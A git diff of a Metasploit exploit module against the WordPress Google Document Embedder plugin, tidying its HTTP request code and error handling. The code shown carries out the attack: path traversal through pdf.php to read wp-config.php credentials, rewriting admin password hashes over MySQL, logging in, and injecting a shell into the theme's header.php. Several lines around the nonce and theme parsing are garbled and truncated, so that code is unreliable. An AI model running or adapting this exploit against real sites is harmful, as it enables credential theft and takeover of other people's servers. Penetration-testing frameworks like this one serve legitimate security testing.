diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index b212e18a5d..4b648133e3 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL - server is exposed on a accessible IP and Wordpress has filesystem write access. The + server is exposed on a accessible IP and Wordpress has filesystem write access. The admin password may get changed if the exploit does not run to the end. }, 'Author' => @@ -93,8 +93,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Fetching wp-config.php') res = send_request_cgi({ - 'method' => 'GET', - 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php?fn=#{rand_text_alphanumeric(4)}.pdf&file=#{'../' * plugins_uri.count('/')}wp-config.php", + 'method' => 'GET', + 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", + 'vars_get' => + { + 'fn' => "#{rand_text_alphanumeric(4)}.pdf", + 'file' => "#{'../' * plugins_uri.count('/')}wp-config.php", + } }) if res and res.body =~ /allow_url_fopen/ @@ -153,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") - print_status("Shell acquired. Disabled backdoor") + print_status("Shell should have been acquired. Disabled backdoor") end def parse_wp_config(body) @@ -175,6 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ + print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP") values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end @@ -183,24 +189,34 @@ class Metasploit3 < Msf::Exploit::Remote def get_wp_cookie(uri, username, password) res = send_request_cgi({ - 'method' => 'POST', - 'uri' => "#{uri}wp-login.php", - 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', - 'data' => "log=#{username}&pwd=#{password}&wp-submit=Log+In&testcookie=1" + 'method' => 'POST', + 'uri' => "#{uri}wp-login.php", + 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', + 'vars_post' => + { + 'log' => username, + 'pwd' => password, + 'wp-submit' => 'Log+In', + 'testcookie' => '1', + }, }) if res and res.code == 200 - fail_with(Exploit::Failure::UnexpectedReply, "Admin login failed") + fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end - admin_cookie = "" - res.headers['Set-Cookie'].split(',').each do |cookie| + admin_cookie = '' + (res.headers['Set-Cookie'] || '').split(',').each do |cookie| admin_cookie << cookie.split(';')[0] admin_cookie << ';' end + if admin_cookie.empty? + fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') + end + return admin_cookie end @@ -217,19 +233,26 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') end - nonce = res.body.scan(/(.*)<\/textarea>/m).flatten![0].to_s)) - theme = res.body.scan(/(.*)<\/textarea>/m)[0][0].to_s)) + theme = res.body.scan(/ 'POST', - 'uri' => "#{admin_uri}theme-editor.php?", - 'cookie' => admin_cookie, - 'data' => "_wpnonce=#{nonce}&theme=#{theme}&newcontent=#{Rex::Text.uri_encode(new_content)}&action=update&file=header.php" + 'method' => 'POST', + 'uri' => "#{admin_uri}theme-editor.php?", + 'cookie' => admin_cookie, + 'vars_post' => + { + '_wpnonce' => nonce, + 'theme' => theme, + 'newcontent' => new_content, + 'action' => 'update', + 'file' => 'header.php' + }, }) if res and res.code != 302